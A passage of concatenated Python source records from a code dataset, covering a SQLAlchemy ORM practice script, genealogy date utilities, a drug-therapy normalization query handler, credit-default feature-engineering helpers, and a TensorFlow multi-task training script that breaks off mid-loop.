KeyWord, PostKeyWord\nfrom db import Session, engine\n\n\ndef init_db():\n BaseModel.metadata.create_all(engine)\n\n\ndef destroy_db():\n BaseModel.metadata.drop_all(engine)\n\n\ninit_db()\nsession = Session()\n\n# do something\ntom = User(name='Tom', fullname='Tom Tom', password='tom password')\naddress = Address(email_address='tom3@tom.com')\ntom.addresses.append(address)\nsession.add(tom)\nsession.commit()\np = Post(tom, 'tom headline', 'tom body')\nposts_keys_1 = PostKeyWord()\nposts_keys_2 = PostKeyWord()\nposts_keys_1.keyword = KeyWord('tom keyword222')\nposts_keys_2.keyword = KeyWord('tom keyword333')\np.keywords.append(posts_keys_1)\np.keywords.append(posts_keys_2)\nsession.add(p)\nsession.commit()\n\n# 查询\np = session.query(Post).filter_by(id=1).first()\n# 直接通过对象的keywords获取到关联的数据\nprint(p.keywords)\n\n\ndestroy_db()\n","sub_path":"third_party_module/sqlalchemy_learn/model_action.py","file_name":"model_action.py","file_ext":"py","file_size_in_byte":909,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"652123279","text":"import datetime\n\ndef calcDate(dateString):\n try:\n calculatedDate = datetime.datetime.strptime(dateString, '%d %b %Y')\n return calculatedDate\n except:\n print(\"Could not parse date, returning now\")\n # We get no credit for detecting syntactic errors, but may want to know when \n return datetime.datetime.now()\n\ndef calculateAge(individual, inputDateObj):\n birthDate = individual[\"BIRT\"][0]\n try:\n birthDateObj = calcDate(birthDate)\n except:\n print(\"Could not parse individual's birthdate\")\n # We get no credit for detecting syntactic errors, but may want to know when \n return -1\n else:\n ageAtInputDate = inputDateObj.year - birthDateObj.year - (1 if (inputDateObj.month< birthDateObj.month) else (1 if ((inputDateObj.month == birthDateObj.month) and (inputDateObj.day < birthDateObj.day)) else 0))\n return ageAtInputDate\n\n\ndef writeErrors(errorList, file):\n for error in errorList:\n file.write(error + \"\\n\")\n return","sub_path":"project04/src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"569774561","text":"\"\"\"This module provides methods for handling queries.\"\"\"\nimport re\nfrom typing import List, Dict, Set, Optional\nfrom .version import __version__\nfrom therapy import SOURCES, NAMESPACE_LOOKUP, PROHIBITED_SOURCES, \\\n PREFIX_LOOKUP, ITEM_TYPES\nfrom uvicorn.config import logger\nfrom therapy.database import Database\nfrom therapy.schemas import Drug, SourceMeta, MatchType, ServiceMeta, \\\n HasIndication, SourcePriority\nfrom botocore.exceptions import ClientError\nfrom urllib.parse import quote\nfrom datetime import datetime\n\n\nclass InvalidParameterException(Exception):\n \"\"\"Exception for invalid parameter args provided by the user.\"\"\"\n\n def __init__(self, message):\n \"\"\"Create new instance\n\n :param str message: string describing the nature of the error\n \"\"\"\n super().__init__(message)\n\n\nclass QueryHandler:\n \"\"\"Class for normalizer management. Stores reference to database instance\n and normalizes query input.\n \"\"\"\n\n def __init__(self, db_url: str = '', db_region: str = 'us-east-2'):\n \"\"\"Initialize Normalizer instance.\n\n :param str db_url: URL to database source.\n :param str db_region: AWS default region.\n \"\"\"\n self.db = Database(db_url=db_url, region_name=db_region)\n\n def _emit_warnings(self, query_str) -> Optional[Dict]:\n \"\"\"Emit warnings if query contains non breaking space characters.\n\n :param str query_str: query string\n :return: dict keying warning type to warning description\n \"\"\"\n warnings = None\n nbsp = re.search('\\xa0| ', query_str)\n if nbsp:\n warnings = {\n 'nbsp': 'Query contains non breaking space characters.'\n }\n logger.warning(\n f'Query ({query_str}) contains non breaking space characters.'\n )\n return warnings\n\n def _fetch_meta(self, src_name: str) -> SourceMeta:\n \"\"\"Fetch metadata for src_name.\n\n :param str src_name: name of source to get metadata for\n :return: SourceMeta object containing source metadata\n \"\"\"\n if src_name in self.db.cached_sources.keys():\n return self.db.cached_sources[src_name]\n else:\n try:\n db_response = self.db.metadata.get_item(\n Key={'src_name': src_name}\n )\n response = SourceMeta(**db_response['Item'])\n self.db.cached_sources[src_name] = response\n return response\n except ClientError as e:\n logger.error(e.response['Error']['Message'])\n\n def _add_record(self,\n response: Dict[str, Dict],\n item: Dict,\n match_type: str) -> (Dict, str):\n \"\"\"Add individual record (i.e. Item in DynamoDB) to response object\n\n :param Dict[str, Dict] response: in-progress response object to return\n to client\n :param Dict item: Item retrieved from DynamoDB\n :param MatchType match_type: type of query match\n :return: Tuple containing updated response object, and string\n containing name of the source of the match\n \"\"\"\n inds = item.get('fda_indication')\n if inds:\n item['has_indication'] = [HasIndication(disease_id=i[0],\n disease_label=i[1],\n normalized_disease_id=i[2])\n for i in inds]\n\n drug = Drug(**item)\n src_name = item['src_name']\n\n matches = response['source_matches']\n if src_name not in matches.keys():\n pass\n elif matches[src_name] is None:\n matches[src_name] = {\n 'match_type': MatchType[match_type.upper()],\n 'records': [drug],\n 'source_meta_': self._fetch_meta(src_name)\n }\n elif matches[src_name]['match_type'] == MatchType[match_type.upper()]:\n matches[src_name]['records'].append(drug)\n\n return response, src_name\n\n def _fetch_records(self,\n response: Dict[str, Dict],\n concept_ids: Set[str],\n match_type: str) -> (Dict, Set):\n \"\"\"Return matched Drug records as a structured response for a given\n collection of concept IDs.\n\n :param Dict[str, Dict] response: in-progress response object to return\n to client.\n :param List[str] concept_ids: List of concept IDs to build from.\n Should be all lower-case.\n :param str match_type: record should be assigned this type of\n match.\n :return: response Dict with records filled in via provided concept\n IDs, and Set of source names of matched records\n \"\"\"\n matched_sources = set()\n for concept_id in concept_ids:\n try:\n match = self.db.get_record_by_id(concept_id.lower(),\n case_sensitive=False)\n (response, src) = self._add_record(response, match, match_type)\n matched_sources.add(src)\n except ClientError as e:\n logger.error(e.response['Error']['Message'])\n\n return response, matched_sources\n\n def _fill_no_matches(self, resp: Dict[str, Dict]) -> Dict:\n \"\"\"Fill all empty source_matches slots with NO_MATCH results.\n\n :param Dict[str, Dict] resp: incoming response object\n :return: response object with empty source slots filled with\n NO_MATCH results and corresponding source metadata\n \"\"\"\n for src_name in resp['source_matches'].keys():\n if resp['source_matches'][src_name] is None:\n resp['source_matches'][src_name] = {\n 'match_type': MatchType.NO_MATCH,\n 'records': [],\n 'source_meta_': self._fetch_meta(src_name)\n }\n return resp\n\n def _check_concept_id(self,\n query: str,\n resp: Dict,\n sources: Set[str]) -> (Dict, Set):\n \"\"\"Check query for concept ID match. Should only find 0 or 1 matches.\n\n :param str query: search string\n :param Dict resp: in-progress response object to return to client\n :param Set[str] sources: remaining unmatched sources\n :return: Tuple with updated resp object and updated set of unmatched\n sources\n \"\"\"\n concept_id_items = []\n if [p for p in PREFIX_LOOKUP.keys() if query.startswith(p)]:\n record = self.db.get_record_by_id(query, False)\n if record:\n concept_id_items.append(record)\n for prefix in [p for p in NAMESPACE_LOOKUP.keys()\n if query.startswith(p)]:\n concept_id = f'{NAMESPACE_LOOKUP[prefix]}:{query}'\n id_lookup = self.db.get_record_by_id(concept_id, False)\n if id_lookup:\n concept_id_items.append(id_lookup)\n for item in concept_id_items:\n (resp, src_name) = self._add_record(resp, item,\n MatchType.CONCEPT_ID.name)\n sources = sources - {src_name}\n return resp, sources\n\n def _check_match_type(self,\n query: str,\n resp: Dict,\n sources: Set[str],\n match_type: str) -> (Dict, Set):\n \"\"\"Check query for selected match type.\n :param str query: search string\n :param Dict resp: in-progress response object to return to client\n :param Set[str] sources: remaining unmatched sources\n :param str match_type: Match type to check for. Should be one of\n {'trade_name', 'label', 'alias', 'xref', 'associated_with'}\n :return: Tuple with updated resp object and updated set of unmatched\n sources\n \"\"\"\n matches = self.db.get_records_by_type(query, match_type)\n if matches:\n concept_ids = {i['concept_id'] for i in matches}\n (resp, matched_srcs) = self._fetch_records(resp, concept_ids,\n match_type)\n sources = sources - matched_srcs\n return resp, sources\n\n def _response_keyed(self, query: str, sources: Set[str]) -> Dict:\n \"\"\"Return response as dict where key is source name and value\n is a list of records. Corresponds to `keyed=true` API parameter.\n\n :param str query: string to match against\n :param Set[str] sources: sources to match from\n :return: completed response object to return to client\n \"\"\"\n response = {\n 'query': query,\n 'warnings': self._emit_warnings(query),\n 'source_matches': {\n source: None for source in sources\n }\n }\n if query == '':\n response = self._fill_no_matches(response)\n return response\n query = query.lower()\n\n # check if concept ID match\n (response, sources) = self._check_concept_id(query, response, sources)\n if len(sources) == 0:\n return response\n\n for match_type in ITEM_TYPES.values():\n (response, sources) = self._check_match_type(query, response,\n sources, match_type)\n if len(sources) == 0:\n return response\n\n # remaining sources get no match\n return self._fill_no_matches(response)\n\n def _response_list(self, query: str, sources: List[str]) -> Dict:\n \"\"\"Return response as list, where the first key-value in each item\n is the source name. Corresponds to `keyed=false` API parameter.\n\n :param str query: string to match against\n :param List[str] sources: sources to match from\n :return: Completed response object to return to client\n \"\"\"\n response_dict = self._response_keyed(query, sources)\n source_list = []\n for src_name in response_dict['source_matches'].keys():\n src = {\n \"source\": src_name,\n }\n to_merge = response_dict['source_matches'][src_name]\n src.update(to_merge)\n\n source_list.append(src)\n response_dict['source_matches'] = source_list\n\n return response_dict\n\n def search_sources(self, query_str, keyed=False, incl='', excl='') -> Dict:\n \"\"\"Fetch normalized therapy objects.\n\n :param str query_str: query, a string, to search for\n :param bool keyed: if true, return response as dict keying source names\n to source objects; otherwise, return list of source objects\n :param str incl: str containing comma-separated names of sources to\n use. Will exclude all other sources. Case-insensitive.\n :param str excl: str containing comma-separated names of source to\n exclude. Will include all other source. Case-insensitive.\n :return: dict containing all matches found in sources.\n :rtype: dict\n :raises InvalidParameterException: if both incl and excl args are\n provided, or if invalid source names are given.\n \"\"\"\n sources = dict()\n for k, v in SOURCES.items():\n if self.db.metadata.get_item(Key={'src_name': v}).get('Item'):\n sources[k] = v\n if not incl and not excl:\n query_sources = set(sources.values())\n elif incl and excl:\n detail = \"Cannot request both source inclusions and exclusions.\"\n raise InvalidParameterException(detail)\n elif incl:\n req_sources = [n.strip() for n in incl.split(',')]\n invalid_sources = []\n query_sources = set()\n for source in req_sources:\n if source.lower() in sources.keys():\n query_sources.add(sources[source.lower()])\n else:\n invalid_sources.append(source)\n if invalid_sources:\n detail = f\"Invalid source name(s): {invalid_sources}\"\n raise InvalidParameterException(detail)\n else:\n req_exclusions = [n.strip() for n in excl.lower().split(',')]\n req_excl_dict = {r.lower(): r for r in req_exclusions}\n invalid_sources = []\n query_sources = set()\n for req_l, req in req_excl_dict.items():\n if req_l not in sources.keys():\n invalid_sources.append(req)\n for src_l, src in sources.items():\n if src_l not in req_excl_dict.keys():\n query_sources.add(src)\n if invalid_sources:\n detail = f\"Invalid source name(s): {invalid_sources}\"\n raise InvalidParameterException(detail)\n\n query_str = query_str.strip()\n\n if keyed:\n response = self._response_keyed(query_str, query_sources)\n else:\n response = self._response_list(query_str, query_sources)\n\n response['service_meta_'] = ServiceMeta(\n version=__version__,\n response_datetime=datetime.now(),\n url=\"https://github.com/cancervariants/therapy-normalization\"\n )\n return response\n\n def _add_merged_meta(self, response: Dict) -> Dict:\n \"\"\"Add source metadata to response object.\n\n :param Dict response: in-progress response object\n :return: completed response object.\n \"\"\"\n sources_meta = {}\n vod = response['value_object_descriptor']\n ids = [vod['value']['id']] + vod.get('xrefs', [])\n for concept_id in ids:\n prefix = concept_id.split(':')[0]\n src_name = PREFIX_LOOKUP[prefix.lower()]\n if src_name not in sources_meta:\n sources_meta[src_name] = self._fetch_meta(src_name)\n response['source_meta_'] = sources_meta\n return response\n\n def _record_order(self, record: Dict) -> (int, str):\n \"\"\"Construct priority order for matching. Only called by sort().\n\n :param Dict record: individual record item in iterable to sort\n :return: tuple with rank value and concept ID\n \"\"\"\n src = record['src_name'].upper()\n source_rank = SourcePriority[src]\n return source_rank, record['concept_id']\n\n def _add_vod(self, response: Dict, record: Dict, query: str,\n match_type: MatchType) -> Dict:\n \"\"\"Format received DB record as VOD and update response object.\n\n :param Dict response: in-progress response object\n :param Dict record: record as stored in DB\n :param str query: query string from user request\n :param MatchType match_type: type of match achieved\n :return: completed response object ready to return to user\n \"\"\"\n vod = {\n 'id': f'normalize.therapy:{quote(query.strip())}',\n 'type': 'TherapyDescriptor',\n 'value': {\n 'type': 'Therapy',\n 'id': record['concept_id']\n },\n 'label': record['label'],\n 'extensions': [],\n }\n if 'xrefs' in record:\n xrefs = record['xrefs']\n chembl_refs = [ref for ref in xrefs if ref.startswith('chembl')]\n vod['xrefs'] = [ref for ref in xrefs\n if not ref.startswith('chembl')]\n else:\n chembl_refs = None\n if 'aliases' in record:\n vod['alternate_labels'] = record['aliases']\n\n if any(filter(lambda f: f in record, ('approval_status',\n 'approval_year',\n 'fda_indication'))):\n fda_approv = {\n \"name\": \"fda_approval\",\n \"value\": {}\n }\n for field in ('approval_status', 'approval_year'):\n value = record.get(field)\n if value:\n fda_approv['value'][field] = value\n inds = record.get('fda_indication', [])\n inds_list = []\n for ind in inds:\n ind_obj = {\n \"id\": ind[0],\n \"type\": \"DiseaseDescriptor\",\n \"label\": ind[1]\n }\n if ind[2]:\n ind_obj['value'] = {\n 'type': 'Disease',\n 'id': ind[2]\n }\n else:\n ind_obj['value'] = None\n inds_list.append(ind_obj)\n if inds_list:\n fda_approv['value']['has_indication'] = inds_list\n vod['extensions'].append(fda_approv)\n\n for field, name in (('trade_names', 'trade_names'),\n ('associated_with', 'associated_with')):\n values = record.get(field)\n\n if values:\n if (field == 'associated_with') and chembl_refs:\n values += chembl_refs\n vod['extensions'].append({\n 'type': 'Extension',\n 'name': name,\n 'value': values\n })\n\n if not vod['extensions']:\n del vod['extensions']\n\n response['match_type'] = match_type\n response['value_object_descriptor'] = vod\n response = self._add_merged_meta(response)\n return response\n\n def _handle_failed_merge_ref(self, record, response, query) -> Dict:\n \"\"\"Log + fill out response for a failed merge reference lookup.\n\n :param Dict record: record containing failed merge_ref\n :param Dict response: in-progress response object\n :param str query: original query value\n :return: response with no match\n \"\"\"\n logger.error(f\"Merge ref lookup failed for ref {record['merge_ref']} \"\n f\"in record {record['concept_id']} from query `{query}`\")\n response['match_type'] = MatchType.NO_MATCH\n return response\n\n def search_groups(self, query: str) -> Dict:\n \"\"\"Return merged, normalized concept for given search term.\n\n :param str query: string to search against\n \"\"\"\n # prepare basic response\n response = {\n 'query': query,\n 'warnings': self._emit_warnings(query),\n 'service_meta_': ServiceMeta(\n version=__version__,\n response_datetime=datetime.now(),\n url=\"https://github.com/cancervariants/therapy-normalization\" # noqa: E501\n )\n }\n if query == '':\n response['match_type'] = MatchType.NO_MATCH\n return response\n query_str = query.lower().strip()\n\n # check merged concept ID match\n record = self.db.get_record_by_id(query_str, case_sensitive=False,\n merge=True)\n if record:\n return self._add_vod(response, record, query, MatchType.CONCEPT_ID)\n\n # check concept ID match\n record = self.db.get_record_by_id(query_str, case_sensitive=False)\n if record and record['src_name'].lower() not in PROHIBITED_SOURCES:\n merge_ref = record.get('merge_ref')\n if not merge_ref:\n return self._add_vod(response, record, query,\n MatchType.CONCEPT_ID)\n merge = self.db.get_record_by_id(merge_ref,\n case_sensitive=False,\n merge=True)\n if merge is None:\n return self._handle_failed_merge_ref(record, response,\n query_str)\n else:\n return self._add_vod(response, merge, query,\n MatchType.CONCEPT_ID)\n\n # check other match types\n for match_type in ITEM_TYPES.values():\n # get matches list for match tier\n matching_refs = self.db.get_records_by_type(query_str, match_type)\n matching_records = \\\n [self.db.get_record_by_id(m['concept_id'], False)\n for m in matching_refs\n if m['src_name'].lower() not in PROHIBITED_SOURCES]\n matching_records.sort(key=self._record_order)\n\n # attempt merge ref resolution until successful\n for match in matching_records:\n record = self.db.get_record_by_id(match['concept_id'], False)\n if record:\n merge_ref = record.get('merge_ref')\n if not merge_ref:\n return self._add_vod(response, record, query,\n MatchType[match_type.upper()])\n merge = self.db.get_record_by_id(record['merge_ref'],\n case_sensitive=False,\n merge=True)\n if merge is None:\n return self._handle_failed_merge_ref(record, response,\n query_str)\n else:\n return self._add_vod(response, merge, query,\n MatchType[match_type.upper()])\n\n if not matching_records:\n response['match_type'] = MatchType.NO_MATCH\n return response\n","sub_path":"therapy/query.py","file_name":"query.py","file_ext":"py","file_size_in_byte":21669,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"62993454","text":"import pandas as pd\nimport numpy as np\nfrom sklearn.utils import resample\nimport pickle\n\ndef increasing_debt(row, column, i):\n if i > 1 and row[column + f'{i}'] < row[column + f'{i - 1}'] and row[\"is_streak\"] == 1:\n row[\"debt_streak\"] += 1\n row[\"raw_debt_accum\"] += row[column + f'{i - 1}'] - row[column + f'{i}']\n else:\n row[\"is_streak\"] = 0\n return row\n\n\ndef initiate_placeholders(df):\n df[\"is_streak\"], df[\"debt_streak\"] = 1, 0\n df[\"raw_debt_accum\"] = 0\n return df\n\n\ndef remove_placeholders(df):\n return df.drop(columns=[\"is_streak\", \"raw_debt_accum\"])\n\n\ndef replace_unknowns(df):\n education_dict = {4: 0, 5: 0, 6: 0}\n marriage_dict = {3: 0}\n df[\"EDUCATION\"].replace(education_dict, inplace=True)\n df[\"MARRIAGE\"].replace(marriage_dict, inplace=True)\n return df\n\n\n# Gathers column names to exclude\ndef exclude_columns(looped_cols):\n looped_exc = []\n for col in looped_cols:\n sing_exc = [col + f\"{i}\" for i in np.arange(1, 7)]\n looped_exc.extend(sing_exc)\n looped_exc.extend([\"ID\", \"default payment next month\"])\n return looped_exc\ndef pickle_read(path):\n with open(path, \"rb\") as f:\n pickle_file = pickle.load(f)\n return pickle_file\ndef pickle_write(item, path):\n with open(path, \"wb\") as f:\n pickle.dump(item, f)\n\ndef calculate_utilization(df):\n df[\"avg_utilization\"], df[\"avg_payment_impact\"] = 0, 0\n initiate_placeholders(df)\n for i in np.arange(1, 7):\n df['payment_impact' + f'{i}'] = (df['PAY_AMT' + f'{i}']) / df[\"LIMIT_BAL\"]\n df[\"utilization\" + f'{i}'] = df[\"BILL_AMT\" + f'{i}'] / df[\"LIMIT_BAL\"]\n if i > 1:\n df = df.apply(lambda x: increasing_debt(x, \"utilization\", i), axis=1)\n df[\"avg_utilization\"] += df[\"utilization\" + f'{i}']\n df[\"avg_payment_impact\"] += df[\"payment_impact\" + f'{i}']\n df[\"avg_utilization\"] = df[\"avg_utilization\"] / 6\n df[\"avg_payment_impact\"] = df[\"avg_payment_impact\"] / 6\n df[\"debt_avg_delta\"] = (df[\"raw_debt_accum\"] / df[\"debt_streak\"]).fillna(0)\n df = remove_placeholders(df)\n return df\n\n\ndef class_imbalance(x_train, y_train, target, majority_val, minority_val, random_state):\n df = pd.concat([x_train, y_train], axis=1)\n majority, minority = df[df[target] == majority_val], df[df[target] == minority_val]\n simp_upsample = simple_resample(minority, majority, random_state)\n simp_downsample = simple_resample(majority, minority, random_state)\n up_y, up_X = simp_upsample[target], simp_upsample.drop(target, axis=1)\n return up_X, up_y\n\n\ndef simple_resample(to_change, goal, random_state):\n resampled = resample(to_change, replace=True, n_samples=len(goal), random_state=random_state)\n return pd.concat([goal, resampled])\n","sub_path":"week-9/classification-assessment/credit_functions copy.py","file_name":"credit_functions copy.py","file_ext":"py","file_size_in_byte":2759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"362748066","text":"import tensorflow as tf\nimport numpy as np\nimport get_data as get\nimport os\nfrom sklearn.metrics import roc_auc_score, accuracy_score\nfrom sklearn.utils import shuffle\nimport argparse\nimport matplotlib.pyplot as plt\n\ndef main(training_dir, checkpointdir, training_files, train_percent, initial_learning_rate, epochs, batch_size, weighting_action_1, weighting_action_2, weighting_loc, weighting_phone, hidden_1, hidden_2, hidden_3, hidden_4, hidden_5, hidden_6, hidden_7, hidden_8, action_1_layer_1, action_2_layer_1, action_2_layer_2, n_input, n_labels, n_output_action_1, n_output_action_2, n_output_loc, n_output_phone, regulariser_rate):\n\n f = open(\"output.log\", \"w+\")\n\n sess = tf.compat.v1.InteractiveSession()\n \n # graph inputs\n x = tf.compat.v1.placeholder(\"float\", [None, n_input], name=\"x\")\n y_action_1 = tf.compat.v1.placeholder(\"float\", [None, n_output_action_1], name=\"y_action_1\")\n y_action_2 = tf.compat.v1.placeholder(\"float\", [None, n_output_action_2], name=\"y_action_2\")\n y_loc = tf.compat.v1.placeholder(\"float\", [None, n_output_loc], name=\"y_location\")\n y_phone = tf.compat.v1.placeholder(\"float\", [None, n_output_phone], name=\"y_phone\")\n\n # initialize weights for layer 1\n weight_1 = tf.Variable(tf.random.normal([n_input, hidden_1]), name=\"weight_1\")\n bias_1 = tf.Variable(tf.random.normal([hidden_1]), name=\"weight_1_bias\")\n\n # initialize weights for layer 2\n weight_2 = tf.Variable(tf.random.normal([hidden_1, hidden_2]), name=\"weight_2\")\n bias_2 = tf.Variable(tf.random.normal([hidden_2]), name=\"weight_2_bias\")\n\n #initialize weights for layer 3\n weight_3 = tf.Variable(tf.random.normal([hidden_2, hidden_3]), name=\"weight_3\")\n bias_3 = tf.Variable(tf.random.normal([hidden_3]), name=\"weight_3_bias\")\n\n #initialize weights for layer 4\n weight_4 = tf.Variable(tf.random.normal([hidden_3, hidden_4]), name=\"weight_4\")\n bias_4 = tf.Variable(tf.random.normal([hidden_4]), name=\"weight_4_bias\")\n\n #initialize weights for layer 5\n weight_5 = tf.Variable(tf.random.normal([hidden_4, hidden_5]), name=\"weight_5\")\n bias_5 = tf.Variable(tf.random.normal([hidden_5]), name=\"weight_5_bias\")\n\n #initialize weights for layer 6\n weight_6 = tf.Variable(tf.random.normal([hidden_5, hidden_6]), name=\"weight_6\")\n bias_6 = tf.Variable(tf.random.normal([hidden_6]), name=\"weight_6_bias\")\n\n #initialize weights for layer 7\n weight_7 = tf.Variable(tf.random.normal([hidden_6, hidden_7]), name=\"weight_7\")\n bias_7 = tf.Variable(tf.random.normal([hidden_7]), name=\"weight_7_bias\")\n\n #initialize weights for layer 8\n weight_8 = tf.Variable(tf.random.normal([hidden_7, hidden_8]), name=\"weight_8\")\n bias_8 = tf.Variable(tf.random.normal([hidden_8]), name=\"weight_8_bias\")\n\n #initialize weights for action 1 layer 1\n weight_action_1_layer_1 = tf.Variable(tf.random.normal([hidden_8, action_1_layer_1]), name='weight_action_1_layer_1')\n bias_action_1_layer_1 = tf.Variable(tf.random.normal([action_1_layer_1]), name=\"weight_action_1_layer_1_bias\")\n\n #initialize weights for action 1 layer 1\n weight_action_2_layer_1 = tf.Variable(tf.random.normal([hidden_8, action_2_layer_1]), name=\"weight_action_2_layer_1\")\n bias_action_2_layer_1 = tf.Variable(tf.random.normal([action_2_layer_1]), name=\"weight_action_2_layer_1_bias\")\n\n #initialize weights for action 1 layer 1\n weight_action_2_layer_2 = tf.Variable(tf.random.normal([action_2_layer_1, action_2_layer_2]), name=\"weight_action_2_layer_2\")\n bias_action_2_layer_2 = tf.Variable(tf.random.normal([action_2_layer_2]), name=\"weight_action_2_layer_2_bias\")\n\n #initialize output weights for actions\n weight_out_action_1 = tf.Variable(tf.random.normal([action_1_layer_1, n_output_action_1]), name=\"weight_out_action_1\")\n bias_out_action_1 = tf.Variable(tf.random.normal([n_output_action_1]), name=\"weight_out_action_1_bias\")\n\n weight_out_action_2 = tf.Variable(tf.random.normal([action_2_layer_2, n_output_action_2]), name=\"weight_out_action_2\")\n bias_out_action_2 = tf.Variable(tf.random.normal([n_output_action_2]), name=\"weight_out_action_2_bias\")\n\n #initialize output weights for location\n weight_out_loc = tf.Variable(tf.random.normal([hidden_8, n_output_loc]), name=\"weight_out_loc\")\n bias_out_loc = tf.Variable(tf.random.normal([n_output_loc]), name=\"weight_out_loc_bias\")\n\n #initialize output weights for phone\n weight_out_phone = tf.Variable(tf.random.normal([hidden_8, n_output_phone]), name=\"weight_out_phone\")\n bias_out_phone = tf.Variable(tf.random.normal([n_output_phone]), name=\"weight_out_phone_bias\")\n\n # layer 1\n layer_1 = tf.nn.sigmoid(tf.add(tf.matmul(x, weight_1), bias_1))\n # haven't added any dropout yet\n\n # layer 2\n layer_2 = tf.nn.sigmoid(tf.add(tf.matmul(layer_1, weight_2), bias_2))\n\n # layer 3\n layer_3 = tf.nn.sigmoid(tf.add(tf.matmul(layer_2, weight_3), bias_3))\n\n # layer 4\n layer_4 = tf.nn.sigmoid(tf.add(tf.matmul(layer_3, weight_4), bias_4))\n\n # layer 5\n layer_5 = tf.nn.sigmoid(tf.add(tf.matmul(layer_4, weight_5), bias_5))\n\n # layer 6\n layer_6 = tf.nn.sigmoid(tf.add(tf.matmul(layer_5, weight_6), bias_6))\n\n # layer 7\n layer_7 = tf.nn.sigmoid(tf.add(tf.matmul(layer_6, weight_7), bias_7))\n\n # layer 8\n layer_8 = tf.nn.sigmoid(tf.add(tf.matmul(layer_7, weight_8), bias_8))\n\n # action 1 layer 1\n layer_action_1_layer_1 = tf.nn.sigmoid(tf.add(tf.matmul(layer_8, weight_action_1_layer_1), bias_action_1_layer_1))\n\n # action 2 layer 1\n layer_action_2_layer_1 = tf.nn.sigmoid(tf.add(tf.matmul(layer_8, weight_action_2_layer_1), bias_action_2_layer_1))\n\n # action 2 layer 2\n layer_action_2_layer_2 = tf.nn.sigmoid(tf.add(tf.matmul(layer_action_2_layer_1, weight_action_2_layer_2), bias_action_2_layer_2))\n\n # output layer\n predicted_y_action_1 = tf.sigmoid(tf.add(tf.matmul(layer_action_1_layer_1, weight_out_action_1), bias_out_action_1), name=\"predict_action_1\")\n predicted_y_action_2 = tf.sigmoid(tf.add(tf.matmul(layer_action_2_layer_2, weight_out_action_2), bias_out_action_2), name=\"predict_action_2\")\n predicted_y_loc = tf.sigmoid(tf.add(tf.matmul(layer_8, weight_out_loc), bias_out_loc), name=\"predict_loc\")\n predicted_y_phone = tf.sigmoid(tf.add(tf.matmul(layer_8, weight_out_phone),bias_out_phone), name=\"predict_phone\")\n\n # loss function for changing weights\n loss = weighting_action_1*(tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits_v2(logits=predicted_y_action_1, labels=y_action_1))) \\\n + weighting_action_2*(tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits_v2(logits=predicted_y_action_2, labels=y_action_2))) \\\n + weighting_loc*(tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits_v2(logits=predicted_y_loc, labels=y_loc))) \\\n + weighting_phone*(tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits_v2(logits=predicted_y_phone, labels=y_phone))) \\\n + regulariser_rate*(tf.reduce_sum(tf.square(bias_1)) + tf.reduce_sum(tf.square(bias_2)) + tf.reduce_sum(tf.square(bias_3))\n + tf.reduce_sum(tf.square(bias_4)) + tf.reduce_sum(tf.square(bias_5)))\n\n\n # define learning rate\n learning_rate = tf.compat.v1.train.exponential_decay(initial_learning_rate, 0, 5, 0.85, staircase=True)\n # learning_rate = 1\n # define optimizer\n optimizer = tf.compat.v1.train.AdamOptimizer(learning_rate).minimize(loss, var_list=[weight_1, \n weight_2, \n weight_3,\n weight_4,\n weight_5,\n weight_6,\n weight_7,\n weight_8,\n weight_action_1_layer_1,\n weight_action_2_layer_1,\n weight_action_2_layer_2,\n weight_out_action_1,\n weight_out_action_2, \n weight_out_loc, \n weight_out_phone, \n bias_1, \n bias_2, \n bias_3,\n bias_4,\n bias_5,\n bias_6,\n bias_7,\n bias_8,\n bias_action_1_layer_1,\n bias_action_2_layer_1,\n bias_action_2_layer_2,\n bias_out_action_1, \n bias_out_action_2,\n bias_out_loc, \n bias_out_phone])\n\n # Accuracy metric\n correct_pred_action_1 = tf.equal(tf.argmax(y_action_1, 1), tf.argmax(predicted_y_action_1,1))\n correct_pred_action_2 = tf.equal(tf.argmax(y_action_2, 1), tf.argmax(predicted_y_action_2,1))\n correct_pred_loc = tf.equal(tf.argmax(y_loc, 1), tf.argmax(predicted_y_loc,1))\n correct_pred_phone = tf.equal(tf.argmax(y_phone, 1), tf.argmax(predicted_y_phone, 1))\n accuracy_action_1 = tf.reduce_mean(tf.cast(correct_pred_action_1, tf.float32))\n accuracy_action_2 = tf.reduce_mean(tf.cast(correct_pred_action_2, tf.float32))\n accuracy_loc = tf.reduce_mean(tf.cast(correct_pred_loc, tf.float32))\n accuracy_phone = tf.reduce_mean(tf.cast(correct_pred_phone, tf.float32))\n\n accuracy_overall = (accuracy_action_1 + accuracy_action_2 + accuracy_loc + accuracy_phone)/4\n\n ####\n # Training\n training_accuracy_action_1 = []\n training_accuracy_action_2 = []\n training_accuracy_loc = []\n training_accuracy_phone = []\n training_accuracy_overall = []\n training_loss = []\n testing_accuracy_overall = []\n testing_accuracy_action_1 = []\n testing_accuracy_action_2 = []\n testing_accuracy_loc = []\n testing_accuracy_phone = []\n saver = tf.compat.v1.train.Saver()\n\n (data_in, action_data_1, action_data_2, loc_data, phone_data) = get.get_formatted_data(training_dir, training_files)\n # action_data[0] etc gives labels for the set\n\n action_out_1 = action_data_1[1]\n action_out_2 = action_data_2[1]\n loc_out = loc_data[1]\n phone_out = phone_data[1]\n\n ### TRY SHUFFLE DATA BEFORE TRAINING SPLIT\n data_in, action_out_1, action_out_2, loc_out, phone_out = shuffle(np.array(data_in), np.array(action_out_1), np.array(action_out_2), np.array(loc_out), np.array(phone_out)) \n\n training_num = int(len(data_in)*train_percent)\n\n input_train = data_in[:training_num]\n output_train_action_1 = action_out_1[:training_num]\n output_train_action_2 = action_out_2[:training_num]\n output_train_loc = loc_out[:training_num]\n output_train_phone = phone_out[:training_num]\n input_test = data_in[training_num:]\n output_test_action_1 = action_out_1[training_num:]\n output_test_action_2 = action_out_2[training_num:]\n output_test_loc = loc_out[training_num:]\n output_test_phone = phone_out[training_num:]\n\n sess.run(tf.compat.v1.global_variables_initializer())\n f.write(\"Starting training\\n \\n\")\n print(\"Start training\")\n for epoch in range(epochs):\n 